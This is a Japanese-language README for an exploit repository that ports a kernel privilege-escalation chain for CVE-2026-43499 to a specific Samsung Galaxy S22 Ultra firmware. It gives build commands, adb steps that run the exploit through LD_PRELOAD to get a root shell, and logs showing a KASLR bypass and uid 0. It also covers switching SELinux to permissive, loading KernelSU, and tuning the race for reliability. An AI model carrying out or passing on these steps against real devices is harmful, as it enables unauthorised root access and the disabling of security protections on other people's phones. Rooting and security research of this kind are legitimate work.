
Samsung Galaxy S22 Ultra(Android 5.10 カーネル)向け CVE-2026-43499 完全エクスプロイトチェーン
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
このリポジトリには、Samsung Galaxy S22 Ultra(SM-S908W)向けの CVE-2026-43499 エクスプロイトのデバイス固有ポートが含まれています。
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
このリポジトリ内のオフセットと構造レイアウトは、上記の ファームウェアに固有です。他のモデルやファームウェアビルドは、この ターゲットプロファイルではサポートされていません。
このポートは、以下に公開されているエクスプロイト実装に基づいています:
b850d3bddc74c3328d5fbcc0568d21962b55d949特に感謝:
アップストリームの Apache License 2.0 は LICENSE に保持されています。
b0q / S908WVLS8FYG7 のターゲットオフセット(src/targets/S908WVLS8FYG7/target.h)とカーネル構造レイアウトを追加。exp32 ルートに置き換え:futex コレオグラフィ、32 ビットスタックスタンプ、sched_setattr を組み込み 32 ビット子ステージ(src/exp32/)で実行。system_unbound_wq ユーザーモードヘルパーの root パスを追加し、ランタイム SELinux 強制のターゲットを selinux_state.enforcing に更新。/data/local/tmp/cve-2026-43499-root に追加。cve43499-hold プロセスに保持し、
ダングリングカーネル参照が無関係な slab オブジェクトに再利用されないようにします。ANDROID_NDK_HOME を Android NDK r27+ または互換性のあるツールチェーンに設定してから、実行します:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Buildroot ファイルシステム上で Android カーネルを実行する QEMU 環境向けにビルドするには:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
出力:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
root デーモンを開始するためにエクスプロイトステージを実行します:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
成功したら、デバイス上のどこからでも対話型 root シェルを起動できます:
adb shell "/data/local/tmp/cve-2026-43499-root"
または root コマンドを直接実行します:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
デフォルトの実行では、最大 16 回の独立した試行が行われます。失敗した各子プロセスは
次の試行の前に終了するため、そのファイルディスクリプタとヒープシェイピング割り当ては、
1 つの長期稼働エクスプロイトプロセス内に蓄積されるのではなく解放されます。
デフォルトの基本遅延は 20000 マイクロ秒で、スーパーバイザは次のシーケンスを
2 回スイープします:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
タイミングデータを収集する際に、試行回数または基本遅延を上書きします:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
S908WVLS8FYG7 での検証結果:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
対話型 root シェルセッション:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
初期ステージはレースベースです。root=0 で終了した子プロセスは
自動的に再試行されます。実行が成功すると ashmem_misc.fops が復元され、SELinux が permissive に切り替わり、次の再起動まで root ヘルパーデーモンが起動します。
上記のエクスプロイトは、現在のブート中のみ root を保持します。セッションの残り期間中、Manager アプリと su 形式の制御を利用するには、root ヘルパーを介して KernelSU-Next を後期ロードカーネルモジュールとして読み込みます。
v3.3.0-android12-5.10 から両方のリリースアセットをダウンロードします:
KernelSU_Next_v3.3.0-release.apk — Manager アプリkernelsu-android12-5.10.ko — LKM カーネルモジュールManager APK をインストールします:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot を利用できるようにします。これは後期ロード LKM(パッチ適用済みブートイメージではない)であるため、再起動後は保持されません。デバイスが再起動するたびに、エクスプロイトを再実行し、モジュールを再 insmod する必要があります。
[!WARNING] 信頼性とカーネルパニックに関する注意: レースステージはタイミングに敏感で、現時点では信頼性が低く、ほとんどの実行で失敗したりカーネルパニックを引き起こしたりする可能性があります。クリーンなブートでは成功率が高いため、辛抱強くお待ちください。信頼性を向上させるための将来の最適化がリリースされる可能性があります。
[!TIP] 安定性と成功率の推奨事項:
- デバイスの再起動: 成功率を最大化するには、クリーンな slab/ヒープ状態を確保するため、エクスプロイトを実行する前にデバイスを再起動してください。
- バックグラウンドアプリを閉じる: すべてのバックグラウンドアプリケーションが閉じられていることを確認してください。
- 画面のロックを解除してアイドル状態を維持: エクスプロイトの実行中はデバイスのロックを解除したまま、スマートフォンに触れたり使用したりしないでください。アクティブなユーザー入力やバックグラウンドタスクはタイミングを乱し、カーネルパニックを引き起こす可能性があります。
所有しているデバイス、または明示的にテストを許可されたデバイスのみで使用してください。